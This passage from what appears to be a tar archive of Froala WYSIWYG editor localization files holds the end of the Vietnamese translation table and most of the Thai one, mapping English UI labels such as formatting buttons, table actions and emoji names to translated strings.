'Redo', // Select all 'Select All': "Ch\u1ECDn t\u1EA5t c\u1EA3", // Code view 'Code View': "Xem d\u1EA1ng code", // Quote 'Quote': "Tr\xEDch d\u1EABn", 'Increase': "T\u0103ng", 'Decrease': "Gi\u1EA3m", // Quick Insert 'Quick Insert': "Ch\xE8n nhanh", // Spcial Characters 'Special Characters': 'Nhân vật đặc biệt', 'Latin': 'Latin', 'Greek': 'Người Hy Lạp', 'Cyrillic': 'Chữ viết tay', 'Punctuation': 'Chấm câu', 'Currency': 'Tiền tệ', 'Arrows': 'Mũi tên', 'Math': 'Môn Toán', 'Misc': 'Misc', // Print. 'Print': 'In', // Spell Checker. 'Spell Checker': 'Công cụ kiểm tra chính tả', // Help 'Help': 'Cứu giúp', 'Shortcuts': 'Phím tắt', 'Inline Editor': 'Trình biên tập nội tuyến', 'Show the editor': 'Hiển thị trình soạn thảo', 'Common actions': 'Hành động thông thường', 'Copy': 'Sao chép', 'Cut': 'Cắt tỉa', 'Paste': 'Dán', 'Basic Formatting': 'Định dạng cơ bản', 'Increase quote level': 'Tăng mức báo giá', 'Decrease quote level': 'Giảm mức giá', 'Image / Video': 'Hình ảnh / video', 'Resize larger': 'Thay đổi kích thước lớn hơn', 'Resize smaller': 'Thay đổi kích thước nhỏ hơn', 'Table': 'Bàn', 'Select table cell': 'Chọn ô trong bảng', 'Extend selection one cell': 'Mở rộng lựa chọn một ô', 'Extend selection one row': 'Mở rộng lựa chọn một hàng', 'Navigation': 'Dẫn đường', 'Focus popup / toolbar': 'Tập trung popup / thanh công cụ', 'Return focus to previous position': 'Quay trở lại vị trí trước', // Embed.ly 'Embed URL': 'Url nhúng', 'Paste in a URL to embed': 'Dán vào một url để nhúng', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Nội dung dán là đến từ một tài liệu từ microsoft. bạn có muốn giữ định dạng hoặc làm sạch nó?', 'Keep': 'Giữ', 'Clean': 'Dọn dẹp', 'Word Paste Detected': 'Dán từ được phát hiện', // Character Counter 'Characters': 'Nhân vật', // More Buttons 'More Text': 'Thêm văn bản', 'More Paragraph': 'Đoạn khác', 'More Rich': 'Giàu hơn', 'More Misc': 'Thêm linh tinh' }, direction: 'ltr' }; }))); //# sourceMappingURL=vi.js.map languages/th.js 0000674 00000051765 00000000000 0007445 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Thai */ FE.LANGUAGE['th'] = { translation: { // Place holder 'Type something': "\u0E1E\u0E34\u0E21\u0E1E\u0E4C\u0E1A\u0E32\u0E07\u0E2A\u0E34\u0E48\u0E07\u0E1A\u0E32\u0E07\u0E2D\u0E22\u0E48\u0E32\u0E07", // Basic formatting 'Bold': "\u0E15\u0E31\u0E27\u0E2B\u0E19\u0E32", 'Italic': "\u0E15\u0E31\u0E27\u0E40\u0E2D\u0E35\u0E22\u0E07", 'Underline': "\u0E02\u0E35\u0E14\u0E40\u0E2A\u0E49\u0E19\u0E43\u0E15\u0E49", 'Strikethrough': "\u0E02\u0E35\u0E14\u0E17\u0E31\u0E1A", // Main buttons 'Insert': "\u0E41\u0E17\u0E23\u0E01", 'Delete': "\u0E25\u0E1A", 'Cancel': "\u0E22\u0E01\u0E40\u0E25\u0E34\u0E01", 'OK': "\u0E15\u0E01\u0E25\u0E07", 'Back': "\u0E01\u0E25\u0E31\u0E1A", 'Remove': "\u0E40\u0E2D\u0E32\u0E2D\u0E2D\u0E01", 'More': "\u0E21\u0E32\u0E01\u0E01\u0E27\u0E48\u0E32", 'Update': "\u0E2D\u0E31\u0E1E\u0E40\u0E14\u0E17", 'Style': "\u0E2A\u0E44\u0E15\u0E25\u0E4C", // Font 'Font Family': "\u0E15\u0E23\u0E30\u0E01\u0E39\u0E25\u0E41\u0E1A\u0E1A\u0E2D\u0E31\u0E01\u0E29\u0E23", 'Font Size': "\u0E02\u0E19\u0E32\u0E14\u0E41\u0E1A\u0E1A\u0E2D\u0E31\u0E01\u0E29\u0E23", // Colors 'Colors': "\u0E2A\u0E35", 'Background': "\u0E1E\u0E37\u0E49\u0E19\u0E2B\u0E25\u0E31\u0E07", 'Text': "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21", 'HEX Color': 'สีฐานสิบหก', // Paragraphs 'Paragraph Format': "\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A", 'Normal': "\u0E1B\u0E01\u0E15\u0E34", 'Code': "\u0E42\u0E04\u0E49\u0E14", 'Heading 1': "\u0E2A\u0E48\u0E27\u0E19\u0E2B\u0E31\u0E27 1", 'Heading 2': "\u0E2A\u0E48\u0E27\u0E19\u0E2B\u0E31\u0E27 2", 'Heading 3': "\u0E2A\u0E48\u0E27\u0E19\u0E2B\u0E31\u0E27 3", 'Heading 4': "\u0E2A\u0E48\u0E27\u0E19\u0E2B\u0E31\u0E27 4", // Style 'Paragraph Style': "\u0E25\u0E31\u0E01\u0E29\u0E13\u0E30\u0E22\u0E48\u0E2D\u0E2B\u0E19\u0E49\u0E32", 'Inline Style': "\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E2D\u0E34\u0E19\u0E44\u0E25\u0E19\u0E4C", // Alignment 'Align': "\u0E01\u0E32\u0E23\u0E08\u0E31\u0E14\u0E41\u0E19\u0E27", 'Align Left': "\u0E08\u0E31\u0E14\u0E0A\u0E34\u0E14\u0E0B\u0E49\u0E32\u0E22", 'Align Center': "\u0E08\u0E31\u0E14\u0E01\u0E36\u0E48\u0E07\u0E01\u0E25\u0E32\u0E07", 'Align Right': "\u0E08\u0E31\u0E14\u0E0A\u0E34\u0E14\u0E02\u0E27\u0E32", 'Align Justify': "\u0E40\u0E15\u0E47\u0E21\u0E41\u0E19\u0E27", 'None': "\u0E44\u0E21\u0E48", // Lists 'Ordered List': "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23\u0E25\u0E33\u0E14\u0E31\u0E1A\u0E40\u0E25\u0E02", 'Unordered List': "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23\u0E2A\u0E31\u0E0D\u0E25\u0E31\u0E01\u0E29\u0E13\u0E4C\u0E2B\u0E31\u0E27\u0E02\u0E49\u0E2D\u0E22\u0E48\u0E2D\u0E22", // Indent 'Decrease Indent': "\u0E25\u0E14\u0E01\u0E32\u0E23\u0E40\u0E22\u0E37\u0E49\u0E2D\u0E07", 'Increase Indent': "\u0E40\u0E1E\u0E34\u0E48\u0E21\u0E01\u0E32\u0E23\u0E40\u0E22\u0E37\u0E49\u0E2D\u0E07", // Links 'Insert Link': "\u0E41\u0E17\u0E23\u0E01\u0E25\u0E34\u0E07\u0E01\u0E4C", 'Open in new tab': "\u0E40\u0E1B\u0E34\u0E14\u0E43\u0E19\u0E41\u0E17\u0E47\u0E1A\u0E43\u0E2B\u0E21\u0E48", 'Open Link': "\u0E40\u0E1B\u0E34\u0E14\u0E25\u0E34\u0E49\u0E07\u0E04\u0E4C", 'Edit Link': "\u0E25\u0E34\u0E07\u0E04\u0E4C\u0E41\u0E01\u0E49\u0E44\u0E02", 'Unlink': "\u0E40\u0E2D\u0E32\u0E25\u0E34\u0E07\u0E01\u0E4C\u0E2D\u0E2D\u0E01", 'Choose Link': "\u0E40\u0E25\u0E37\u0E2D\u0E01\u0E01\u0E32\u0E23\u0E40\u0E0A\u0E37\u0E48\u0E2D\u0E21\u0E42\u0E22\u0E07", // Images 'Insert Image': "\u0E41\u0E17\u0E23\u0E01\u0E23\u0E39\u0E1B\u0E20\u0E32\u0E1E", 'Upload Image': "\u0E01\u0E32\u0E23\u0E2D\u0E31\u0E1B\u0E42\u0E2B\u0E25\u0E14\u0E20\u0E32\u0E1E", 'By URL': "\u0E15\u0E32\u0E21 URL", 'Browse': "\u0E40\u0E23\u0E35\u0E22\u0E01\u0E14\u0E39", 'Drop image': "\u0E27\u0E32\u0E07\u0E20\u0E32\u0E1E", 'or click': "\u0E2B\u0E23\u0E37\u0E2D\u0E04\u0E25\u0E34\u0E01\u0E17\u0E35\u0E48", 'Manage Images': "\u0E08\u0E31\u0E14\u0E01\u0E32\u0E23\u0E20\u0E32\u0E1E", 'Loading': "\u0E42\u0E2B\u0E25\u0E14", 'Deleting': "\u0E25\u0E1A", 'Tags': "\u0E41\u0E17\u0E47\u0E01", 'Are you sure? Image will be deleted.': "\u0E04\u0E38\u0E13\u0E41\u0E19\u0E48\u0E43\u0E08\u0E2B\u0E23\u0E37\u0E2D\u0E44\u0E21\u0E48 \u0E20\u0E32\u0E1E\u0E08\u0E30\u0E16\u0E39\u0E01\u0E25\u0E1A", 'Replace': "\u0E41\u0E17\u0E19\u0E17\u0E35\u0E48", 'Uploading': "\u0E2D\u0E31\u0E1E\u0E42\u0E2B\u0E25\u0E14", 'Loading image': "\u0E42\u0E2B\u0E25\u0E14\u0E20\u0E32\u0E1E", 'Display': "\u0E41\u0E2A\u0E14\u0E07", 'Inline': "\u0E41\u0E1A\u0E1A\u0E2D\u0E34\u0E19\u0E44\u0E25\u0E19\u0E4C", 'Break Text': "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E2B\u0E22\u0E38\u0E14", 'Alternative Text': "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E2D\u0E37\u0E48\u0E19", 'Change Size': "\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19\u0E02\u0E19\u0E32\u0E14", 'Width': "\u0E04\u0E27\u0E32\u0E21\u0E01\u0E27\u0E49\u0E32\u0E07", 'Height': "\u0E04\u0E27\u0E32\u0E21\u0E2A\u0E39\u0E07", 'Something went wrong. Please try again.': "\u0E1A\u0E32\u0E07\u0E2D\u0E22\u0E48\u0E32\u0E07\u0E1C\u0E34\u0E14\u0E1B\u0E01\u0E15\u0E34. \u0E01\u0E23\u0E38\u0E13\u0E32\u0E25\u0E2D\u0E07\u0E2D\u0E35\u0E01\u0E04\u0E23\u0E31\u0E49\u0E07.", 'Image Caption': 'คำบรรยายภาพ', 'Advanced Edit': 'แก้ไขขั้นสูง', // Video 'Insert Video': "\u0E41\u0E17\u0E23\u0E01\u0E27\u0E34\u0E14\u0E35\u0E42\u0E2D", 'Embedded Code': "\u0E23\u0E2B\u0E31\u0E2A\u0E2A\u0E21\u0E2D\u0E07\u0E01\u0E25\u0E1D\u0E31\u0E07\u0E15\u0E31\u0E27", 'Paste in a video URL': 'วางใน URL วิดีโอ', 'Drop video': 'วางวิดีโอ', 'Your browser does not support HTML5 video.': 'เบราเซอร์ของคุณไม่สนับสนุนวิดีโอ HTML5', 'Upload Video': 'อัปโหลดวิดีโอ', // Tables 'Insert Table': "\u0E41\u0E17\u0E23\u0E01\u0E15\u0E32\u0E23\u0E32\u0E07", 'Table Header': "\u0E2A\u0E48\u0E27\u0E19\u0E2B\u0E31\u0E27\u0E02\u0E2D\u0E07\u0E15\u0E32\u0E23\u0E32\u0E07", 'Remove Table': "\u0E40\u0E2D\u0E32\u0E15\u0E32\u0E23\u0E32\u0E07\u0E2D\u0E2D\u0E01", 'Table Style': "\u0E25\u0E31\u0E01\u0E29\u0E13\u0E30\u0E15\u0E32\u0E23\u0E32\u0E07", 'Horizontal Align': "\u0E43\u0E19\u0E41\u0E19\u0E27\u0E19\u0E2D\u0E19", 'Row': "\u0E41\u0E16\u0E27", 'Insert row above': "\u0E41\u0E17\u0E23\u0E01\u0E41\u0E16\u0E27\u0E14\u0E49\u0E32\u0E19\u0E1A\u0E19", 'Insert row below': "\u0E41\u0E17\u0E23\u0E01\u0E41\u0E16\u0E27\u0E14\u0E49\u0E32\u0E19\u0E25\u0E48\u0E32\u0E07", 'Delete row': "\u0E25\u0E1A\u0E41\u0E16\u0E27", 'Column': "\u0E04\u0E2D\u0E25\u0E31\u0E21\u0E19\u0E4C", 'Insert column before': "\u0E41\u0E17\u0E23\u0E01\u0E04\u0E2D\u0E25\u0E31\u0E21\u0E19\u0E4C\u0E02\u0E49\u0E32\u0E07\u0E2B\u0E19\u0E49\u0E32", 'Insert column after': "\u0E41\u0E17\u0E23\u0E01\u0E04\u0E2D\u0E25\u0E31\u0E21\u0E19\u0E4C\u0E02\u0E49\u0E32\u0E07\u0E2B\u0E25\u0E31\u0E07", 'Delete column': "\u0E25\u0E1A\u0E04\u0E2D\u0E25\u0E31\u0E21\u0E19\u0E4C", 'Cell': "\u0E40\u0E0B\u0E25\u0E25\u0E4C", 'Merge cells': "\u0E1C\u0E2A\u0E32\u0E19\u0E40\u0E0B\u0E25\u0E25\u0E4C", 'Horizontal split': "\u0E41\u0E22\u0E01\u0E41\u0E19\u0E27\u0E19\u0E2D\u0E19", 'Vertical split': "\u0E41\u0E22\u0E01\u0E43\u0E19\u0E41\u0E19\u0E27\u0E15\u0E31\u0E49\u0E07", 'Cell Background': "\u0E1E\u0E37\u0E49\u0E19\u0E2B\u0E25\u0E31\u0E07\u0E02\u0E2D\u0E07\u0E40\u0E0B\u0E25\u0E25\u0E4C", 'Vertical Align': "\u0E08\u0E31\u0E14\u0E41\u0E19\u0E27\u0E15\u0E31\u0E49\u0E07", 'Top': "\u0E14\u0E49\u0E32\u0E19\u0E1A\u0E19", 'Middle': "\u0E01\u0E25\u0E32\u0E07", 'Bottom': "\u0E01\u0E49\u0E19", 'Align Top': "\u0E08\u0E31\u0E14\u0E14\u0E49\u0E32\u0E19\u0E1A\u0E19", 'Align Middle': "\u0E15\u0E4D\u0E32\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E01\u0E25\u0E32\u0E07", 'Align Bottom': "\u0E15\u0E4D\u0E32\u0E41\u0E2B\u0E19\u0E48\u0E07\u0E14\u0E49\u0E32\u0E19\u0E25\u0E48\u0E32\u0E07", 'Cell Style': "\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E02\u0E2D\u0E07\u0E40\u0E0B\u0E25\u0E25\u0E4C", // Files 'Upload File': "\u0E2D\u0E31\u0E1B\u0E42\u0E2B\u0E25\u0E14\u0E44\u0E1F\u0E25\u0E4C", 'Drop file': "\u0E27\u0E32\u0E07\u0E44\u0E1F\u0E25\u0E4C", // Emoticons 'Emoticons': "\u0E2D\u0E35\u0E42\u0E21\u0E15\u0E34\u0E04\u0E2D\u0E19", 'Grinning face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E22\u0E34\u0E49\u0E21", 'Grinning face with smiling eyes': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E22\u0E34\u0E49\u0E21\u0E14\u0E49\u0E27\u0E22\u0E15\u0E32\u0E22\u0E34\u0E49\u0E21", 'Face with tears of joy': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E14\u0E49\u0E27\u0E22\u0E19\u0E49\u0E33\u0E15\u0E32\u0E41\u0E2B\u0E48\u0E07\u0E04\u0E27\u0E32\u0E21\u0E2A\u0E38\u0E02", 'Smiling face with open mouth': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E40\u0E1B\u0E37\u0E49\u0E2D\u0E19\u0E23\u0E2D\u0E22\u0E22\u0E34\u0E49\u0E21\u0E17\u0E35\u0E48\u0E21\u0E35\u0E1B\u0E32\u0E01\u0E40\u0E1B\u0E34\u0E14", 'Smiling face with open mouth and smiling eyes': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E22\u0E34\u0E49\u0E21\u0E01\u0E31\u0E1A\u0E40\u0E1B\u0E34\u0E14\u0E1B\u0E32\u0E01\u0E41\u0E25\u0E30\u0E15\u0E32\u0E22\u0E34\u0E49\u0E21", 'Smiling face with open mouth and cold sweat': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E22\u0E34\u0E49\u0E21\u0E14\u0E49\u0E27\u0E22\u0E1B\u0E32\u0E01\u0E40\u0E1B\u0E34\u0E14\u0E41\u0E25\u0E30\u0E40\u0E2B\u0E07\u0E37\u0E48\u0E2D\u0E40\u0E22\u0E47\u0E19", 'Smiling face with open mouth and tightly-closed eyes': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E22\u0E34\u0E49\u0E21\u0E01\u0E31\u0E1A\u0E40\u0E1B\u0E34\u0E14\u0E1B\u0E32\u0E01\u0E41\u0E25\u0E30\u0E15\u0E32\u0E41\u0E19\u0E48\u0E19\u0E1B\u0E34\u0E14", 'Smiling face with halo': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E22\u0E34\u0E49\u0E21\u0E17\u0E35\u0E48\u0E21\u0E35\u0E23\u0E31\u0E28\u0E21\u0E35", 'Smiling face with horns': "\u0E22\u0E34\u0E49\u0E21\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E21\u0E35\u0E40\u0E02\u0E32", 'Winking face': "\u0E01\u0E32\u0E23\u0E01\u0E23\u0E30\u0E1E\u0E23\u0E34\u0E1A\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32", 'Smiling face with smiling eyes': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E22\u0E34\u0E49\u0E21\u0E14\u0E49\u0E27\u0E22\u0E15\u0E32\u0E22\u0E34\u0E49\u0E21", 'Face savoring delicious food': "\u0E40\u0E1C\u0E0A\u0E34\u0E0D savoring \u0E2D\u0E32\u0E2B\u0E32\u0E23\u0E2D\u0E23\u0E48\u0E2D\u0E22", 'Relieved face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E42\u0E25\u0E48\u0E07\u0E43\u0E08", 'Smiling face with heart-shaped eyes': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E22\u0E34\u0E49\u0E21\u0E14\u0E49\u0E27\u0E22\u0E15\u0E32\u0E23\u0E39\u0E1B\u0E2B\u0E31\u0E27\u0E43\u0E08", 'Smiling face with sunglasses': "\u0E22\u0E34\u0E49\u0E21\u0E2B\u0E19\u0E49\u0E32\u0E14\u0E49\u0E27\u0E22\u0E41\u0E27\u0E48\u0E19\u0E15\u0E32\u0E01\u0E31\u0E19\u0E41\u0E14\u0E14", 'Smirking face': "\u0E2B\u0E19\u0E49\u0E32\u0E41\u0E2A\u0E22\u0E30\u0E22\u0E34\u0E49\u0E21\u0E17\u0E35\u0E48\u0E21\u0E38\u0E21", 'Neutral face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E17\u0E35\u0E48\u0E40\u0E1B\u0E47\u0E19\u0E01\u0E25\u0E32\u0E07", 'Expressionless face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E2D\u0E32\u0E23\u0E21\u0E13\u0E4C", 'Unamused face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32 Unamused", 'Face with cold sweat': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E17\u0E35\u0E48\u0E21\u0E35\u0E40\u0E2B\u0E07\u0E37\u0E48\u0E2D\u0E40\u0E22\u0E47\u0E19", 'Pensive face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E2B\u0E21\u0E48\u0E19", 'Confused face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E2A\u0E31\u0E1A\u0E2A\u0E19", 'Confounded face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E2A\u0E31\u0E1A\u0E2A\u0E19", 'Kissing face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E08\u0E39\u0E1A", 'Face throwing a kiss': "\u0E15\u0E49\u0E2D\u0E07\u0E40\u0E1C\u0E0A\u0E34\u0E0D\u0E01\u0E31\u0E1A\u0E01\u0E32\u0E23\u0E02\u0E27\u0E49\u0E32\u0E07\u0E1B\u0E32\u0E08\u0E39\u0E1A", 'Kissing face with smiling eyes': "\u0E08\u0E39\u0E1A\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E14\u0E49\u0E27\u0E22\u0E15\u0E32\u0E22\u0E34\u0E49\u0E21", 'Kissing face with closed eyes': "\u0E08\u0E39\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E14\u0E49\u0E27\u0E22\u0E14\u0E27\u0E07\u0E15\u0E32\u0E17\u0E35\u0E48\u0E1B\u0E34\u0E14\u0E2A\u0E19\u0E34\u0E17", 'Face with stuck out tongue': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E21\u0E35\u0E41\u0E1E\u0E25\u0E21\u0E2D\u0E2D\u0E01\u0E21\u0E32\u0E25\u0E34\u0E49\u0E19", 'Face with stuck out tongue and winking eye': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E21\u0E35\u0E15\u0E34\u0E14\u0E25\u0E34\u0E49\u0E19\u0E41\u0E25\u0E30\u0E15\u0E32\u0E02\u0E22\u0E34\u0E1A\u0E15\u0E32", 'Face with stuck out tongue and tightly-closed eyes': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E21\u0E35\u0E15\u0E34\u0E14\u0E25\u0E34\u0E49\u0E19\u0E41\u0E25\u0E30\u0E14\u0E27\u0E07\u0E15\u0E32\u0E17\u0E35\u0E48\u0E1B\u0E34\u0E14\u0E41\u0E19\u0E48\u0E19", 'Disappointed face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E1C\u0E34\u0E14\u0E2B\u0E27\u0E31\u0E07", 'Worried face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E01\u0E31\u0E07\u0E27\u0E25", 'Angry face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E42\u0E01\u0E23\u0E18", 'Pouting face': "\u0E2B\u0E19\u0E49\u0E32\u0E21\u0E38\u0E48\u0E22", 'Crying face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E23\u0E49\u0E2D\u0E07\u0E44\u0E2B\u0E49", 'Persevering face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E40\u0E2D\u0E32\u0E16\u0E48\u0E32\u0E19", 'Face with look of triumph': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E01\u0E31\u0E1A\u0E23\u0E39\u0E1B\u0E25\u0E31\u0E01\u0E29\u0E13\u0E4C\u0E02\u0E2D\u0E07\u0E0A\u0E31\u0E22\u0E0A\u0E19\u0E30", 'Disappointed but relieved face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E1C\u0E34\u0E14\u0E2B\u0E27\u0E31\u0E07 \u0E41\u0E15\u0E48\u0E42\u0E25\u0E48\u0E07\u0E43\u0E08", 'Frowning face with open mouth': "\u0E2B\u0E19\u0E49\u0E32\u0E21\u0E38\u0E48\u0E22\u0E17\u0E35\u0E48\u0E21\u0E35\u0E1B\u0E32\u0E01\u0E40\u0E1B\u0E34\u0E14", 'Anguished face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E01\u0E14\u0E02\u0E35\u0E48", 'Fearful face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E17\u0E35\u0E48\u0E19\u0E48\u0E32\u0E01\u0E25\u0E31\u0E27", 'Weary face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E17\u0E35\u0E48\u0E40\u0E2B\u0E19\u0E37\u0E48\u0E2D\u0E22\u0E25\u0E49\u0E32", 'Sleepy face': "\u0E2B\u0E19\u0E49\u0E32\u0E07\u0E48\u0E27\u0E07\u0E19\u0E2D\u0E19", 'Tired face': "\u0E2B\u0E19\u0E49\u0E32\u0E40\u0E1A\u0E37\u0E48\u0E2D", 'Grimacing face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32 grimacing", 'Loudly crying face': "\u0E23\u0E49\u0E2D\u0E07\u0E44\u0E2B\u0E49\u0E40\u0E2A\u0E35\u0E22\u0E07\u0E14\u0E31\u0E07\u0E2B\u0E19\u0E49\u0E32", 'Face with open mouth': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E17\u0E35\u0E48\u0E21\u0E35\u0E1B\u0E32\u0E01\u0E40\u0E1B\u0E34\u0E14", 'Hushed face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E40\u0E07\u0E35\u0E22\u0E1A", 'Face with open mouth and cold sweat': 'หน้ากับปากเปิดและเหงื่อเย็น', 'Face screaming in fear': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E17\u0E35\u0E48\u0E21\u0E35\u0E1B\u0E32\u0E01\u0E40\u0E1B\u0E34\u0E14\u0E41\u0E25\u0E30\u0E40\u0E2B\u0E07\u0E37\u0E48\u0E2D\u0E40\u0E22\u0E47\u0E19", 'Astonished face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E1B\u0E23\u0E30\u0E2B\u0E25\u0E32\u0E14\u0E43\u0E08", 'Flushed face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E41\u0E14\u0E07", 'Sleeping face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E19\u0E2D\u0E19", 'Dizzy face': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E15\u0E32\u0E25\u0E32\u0E22", 'Face without mouth': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E42\u0E14\u0E22\u0E44\u0E21\u0E48\u0E15\u0E49\u0E2D\u0E07\u0E1B\u0E32\u0E01", 'Face with medical mask': "\u0E43\u0E1A\u0E2B\u0E19\u0E49\u0E32\u0E14\u0E49\u0E27\u0E22\u0E2B\u0E19\u0E49\u0E32\u0E01\u0E32\u0E01\u0E17\u0E32\u0E07\u0E01\u0E32\u0E23\u0E41\u0E1E\u0E17\u0E22\u0E4C", // Line breaker 'Break': "\u0E2B\u0E22\u0E38\u0E14", // Math 'Subscript': "\u0E15\u0E31\u0E27\u0E2B\u0E49\u0E2D\u0E22", 'Superscript': "\u0E15\u0E31\u0E27\u0E22\u0E01", // Full screen 'Fullscreen': "\u0E40\u0E15\u0E47\u0E21\u0E2B\u0E19\u0E49\u0E32\u0E08\u0E2D", // Horizontal line 'Insert Horizontal Line': "\u0E41\u0E17\u0E23\u0E01\u0E40\u0E2A\u0E49\u0E19\u0E41\u0E19\u0E27\u0E19\u0E2D\u0E19", // Clear formatting 'Clear Formatting': "\u0E19\u0E33\u0E01\u0E32\u0E23\u0E08\u0E31\u0E14\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A", // Save 'Save': "\u0E1A\u0E31\u0E19\u0E17\u0E36\u0E01", // Undo, redo 'Undo': "\u0E40\u0E25\u0E34\u0E01\u0E17\u0E33", 'Redo': "\u0E17\u0E4D\u0E32\u0E0B\u0E49\u0E33", // Select all 'Select All': "\u0E40\u0E25\u0E37\u0E2D\u0E01\u0E17\u0E31\u0E49\u0E07\u0E2B\u0E21\u0E14", // Code view 'Code View': "\u0E21\u0E38\u0E21\u0E21\u0E2D\u0E07\u0E23\u0E2B\u0E31\u0E2A", // Quote 'Quote': "\u0E2D\u0E49\u0E32\u0E07", 'Increase': "\u0E40\u0E1E\u0E34\u0E48\u0E21", 'Decrease': "\u0E25\u0E14\u0E25\u0E07", // Quick Insert 'Quick Insert': "\u0E41\u0E17\u0E23\u0E01\u0E14\u0E48\u0E27\u0E19", // Spcial Characters 'Special Characters': 'อักขระพิเศษ', 'Latin': 'ละติน', 'Greek': 'กรีก', 'Cyrillic': 'ริลลิก', 'Punctuation': 'วรรคตอน', 'Currency': 'เงินตรา', 'Arrows': 'ลูกศร', 'Math': 'คณิตศาสตร์', 'Misc': 'อื่น ๆ', // Print. 'Print': 'พิมพ์', // Spell Checker. 'Spell Checker': 'ตัวตรวจสอบการสะกด', // Help 'Help': 'ช่วยด้วย', 'Shortcuts': 'ทางลัด', 'Inline Editor': 'ตัวแก้ไขแบบอินไลน์', 'Show the editor': 'แสดงตัวแก้ไข', 'Common actions': 'การกระทำร่วมกัน', 'Copy': 'สำเนา', 'Cut': 'ตัด', 'Paste': 'แปะ', 'Basic Formatting': 'การจัดรูปแบบพื้นฐาน', 'Increase quote level': 'ระดับราคาเพิ่มขึ้น', 'Decrease quote level': 'ระดับราคาลดลง', 'Image / Video': 'ภาพ / วิดีโอ', 'Resize larger': 'ปรับขนาดใหญ่ขึ้น', 'Resize smaller': 'ปรับขนาดเล็กลง', 'Table': 'ตาราง', 'Select table cell': 'เลือกเซลล์ตาราง', 'Extend selection one cell': 'ขยายการเลือกหนึ่งเซลล์', 'Extend selection one row': 'ขยายการเลือกหนึ่งแถว', 'Navigation': 'การเดินเรือ', 'Focus popup / toolbar': 'โฟกัสป๊อปอัพ / แถบเครื่องมือ', 'Return focus to previous position': 'กลับไปยังตำแหน่งก่อนหน้า', // Embed.ly 'Embed URL': 'ฝัง URL', 'Paste in a URL to embed': 'วางใน url เพื่อฝัง', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'เนื้อหาที่วางจะมาจากเอกสารคำในแบบ microsoft คุณต้องการเก็บรูปแบบหรือทำความสะอาดหรือไม่?', 'Keep': 'เก็บ', 'Clean': 'สะอาด', 'Word Paste Detected': 'ตรวจพบการวางคำ', // Character Counter 'Characters': 'ตัวละคร', // More Buttons 'More Text': 'ข้อความเพิ่มเติม', 'More 